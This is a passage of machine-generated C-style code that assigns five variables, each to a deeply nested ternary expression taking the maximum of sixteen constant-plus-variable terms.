x_26_ = (((((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) > ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))? ((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) : ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))) > (((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) > ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14))? ((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) : ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14)))? (((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) > ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))? ((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) : ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))) : (((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) > ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14))? ((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) : ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14)))) > ((((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) > ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))? ((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) : ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))) > (((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) > ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31))? ((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) : ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31)))? (((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) > ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))? ((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) : ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))) : (((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) > ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31))? ((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) : ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31))))? ((((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) > ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))? ((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) : ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))) > (((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) > ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14))? ((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) : ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14)))? (((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) > ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))? ((17.0 + x_3) > (6.0 + x_5)? (17.0 + x_3) : (6.0 + x_5)) : ((12.0 + x_7) > (6.0 + x_8)? (12.0 + x_7) : (6.0 + x_8))) : (((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) > ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14))? ((8.0 + x_9) > (16.0 + x_10)? (8.0 + x_9) : (16.0 + x_10)) : ((3.0 + x_12) > (5.0 + x_14)? (3.0 + x_12) : (5.0 + x_14)))) : ((((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) > ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))? ((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) : ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))) > (((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) > ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31))? ((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) : ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31)))? (((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) > ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))? ((15.0 + x_17) > (7.0 + x_20)? (15.0 + x_17) : (7.0 + x_20)) : ((2.0 + x_22) > (5.0 + x_25)? (2.0 + x_22) : (5.0 + x_25))) : (((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) > ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31))? ((8.0 + x_26) > (13.0 + x_27)? (8.0 + x_26) : (13.0 + x_27)) : ((11.0 + x_30) > (12.0 + x_31)? (11.0 + x_30) : (12.0 + x_31)))));
x_27_ = (((((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) > ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))? ((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) : ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))) > (((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) > ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16))? ((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) : ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16)))? (((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) > ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))? ((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) : ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))) : (((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) > ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16))? ((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) : ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16)))) > ((((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) > ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))? ((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) : ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))) > (((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) > ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31))? ((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) : ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31)))? (((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) > ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))? ((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) : ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))) : (((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) > ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31))? ((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) : ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31))))? ((((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) > ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))? ((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) : ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))) > (((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) > ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16))? ((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) : ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16)))? (((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) > ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))? ((17.0 + x_0) > (9.0 + x_1)? (17.0 + x_0) : (9.0 + x_1)) : ((15.0 + x_5) > (5.0 + x_6)? (15.0 + x_5) : (5.0 + x_6))) : (((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) > ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16))? ((16.0 + x_7) > (7.0 + x_11)? (16.0 + x_7) : (7.0 + x_11)) : ((11.0 + x_15) > (19.0 + x_16)? (11.0 + x_15) : (19.0 + x_16)))) : ((((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) > ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))? ((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) : ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))) > (((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) > ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31))? ((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) : ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31)))? (((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) > ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))? ((4.0 + x_18) > (11.0 + x_19)? (4.0 + x_18) : (11.0 + x_19)) : ((10.0 + x_20) > (6.0 + x_23)? (10.0 + x_20) : (6.0 + x_23))) : (((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) > ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31))? ((15.0 + x_24) > (14.0 + x_25)? (15.0 + x_24) : (14.0 + x_25)) : ((4.0 + x_27) > (4.0 + x_31)? (4.0 + x_27) : (4.0 + x_31)))));
x_28_ = (((((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) > ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))? ((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) : ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))) > (((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) > ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15))? ((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) : ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15)))? (((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) > ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))? ((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) : ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))) : (((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) > ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15))? ((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) : ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15)))) > ((((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) > ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))? ((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) : ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))) > (((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) > ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31))? ((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) : ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31)))? (((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) > ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))? ((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) : ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))) : (((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) > ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31))? ((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) : ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31))))? ((((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) > ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))? ((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) : ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))) > (((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) > ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15))? ((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) : ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15)))? (((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) > ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))? ((12.0 + x_0) > (19.0 + x_6)? (12.0 + x_0) : (19.0 + x_6)) : ((1.0 + x_7) > (2.0 + x_9)? (1.0 + x_7) : (2.0 + x_9))) : (((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) > ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15))? ((14.0 + x_10) > (10.0 + x_13)? (14.0 + x_10) : (10.0 + x_13)) : ((18.0 + x_14) > (1.0 + x_15)? (18.0 + x_14) : (1.0 + x_15)))) : ((((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) > ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))? ((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) : ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))) > (((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) > ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31))? ((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) : ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31)))? (((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) > ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))? ((6.0 + x_17) > (19.0 + x_18)? (6.0 + x_17) : (19.0 + x_18)) : ((15.0 + x_20) > (15.0 + x_21)? (15.0 + x_20) : (15.0 + x_21))) : (((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) > ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31))? ((4.0 + x_23) > (9.0 + x_26)? (4.0 + x_23) : (9.0 + x_26)) : ((17.0 + x_27) > (18.0 + x_31)? (17.0 + x_27) : (18.0 + x_31)))));
x_29_ = (((((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) > ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))? ((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) : ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))) > (((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) > ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15))? ((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) : ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15)))? (((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) > ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))? ((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) : ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))) : (((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) > ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15))? ((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) : ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15)))) > ((((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) > ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))? ((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) : ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))) > (((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) > ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29))? ((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) : ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29)))? (((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) > ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))? ((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) : ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))) : (((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) > ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29))? ((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) : ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29))))? ((((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) > ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))? ((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) : ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))) > (((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) > ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15))? ((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) : ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15)))? (((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) > ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))? ((2.0 + x_3) > (10.0 + x_4)? (2.0 + x_3) : (10.0 + x_4)) : ((9.0 + x_6) > (9.0 + x_7)? (9.0 + x_6) : (9.0 + x_7))) : (((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) > ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15))? ((15.0 + x_10) > (2.0 + x_13)? (15.0 + x_10) : (2.0 + x_13)) : ((13.0 + x_14) > (8.0 + x_15)? (13.0 + x_14) : (8.0 + x_15)))) : ((((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) > ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))? ((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) : ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))) > (((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) > ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29))? ((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) : ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29)))? (((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) > ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))? ((12.0 + x_16) > (14.0 + x_19)? (12.0 + x_16) : (14.0 + x_19)) : ((11.0 + x_21) > (13.0 + x_22)? (11.0 + x_21) : (13.0 + x_22))) : (((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) > ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29))? ((15.0 + x_25) > (3.0 + x_26)? (15.0 + x_25) : (3.0 + x_26)) : ((20.0 + x_28) > (19.0 + x_29)? (20.0 + x_28) : (19.0 + x_29)))));
x_30_ = (((((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))) > (((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) > ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15))? ((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) : ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15)))? (((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))) : (((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) > ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15))? ((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) : ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15)))) > ((((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) > ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))? ((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) : ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))) > (((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) > ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31))? ((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) : ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31)))? (((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) > ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))? ((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) : ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))) : (((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) > ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31))? ((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) : ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31))))? ((((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))) > (((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) > ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15))? ((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) : ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15)))? (((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) > ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))? ((2.0 + x_0) > (12.0 + x_1)? (2.0 + x_0) : (12.0 + x_1)) : ((14.0 + x_3) > (9.0 + x_5)? (14.0 + x_3) : (9.0 + x_5))) : (((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) > ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15))? ((5.0 + x_7) > (7.0 + x_10)? (5.0 + x_7) : (7.0 + x_10)) : ((2.0 + x_13) > (3.0 + x_15)? (2.0 + x_13) : (3.0 + x_15)))) : ((((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) > ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))? ((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) : ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))) > (((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) > ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31))? ((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) : ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31)))? (((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) > ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))? ((9.0 + x_17) > (5.0 + x_18)? (9.0 + x_17) : (5.0 + x_18)) : ((10.0 + x_19) > (2.0 + x_20)? (10.0 + x_19) : (2.0 + x_20))) : (((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) > ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31))? ((2.0 + x_22) > (7.0 + x_23)? (2.0 + x_22) : (7.0 + x_23)) : ((10.0 + x_29) > (18.0 + x_31)? (10.0 + x_29) : (18.0 + x_31)))));
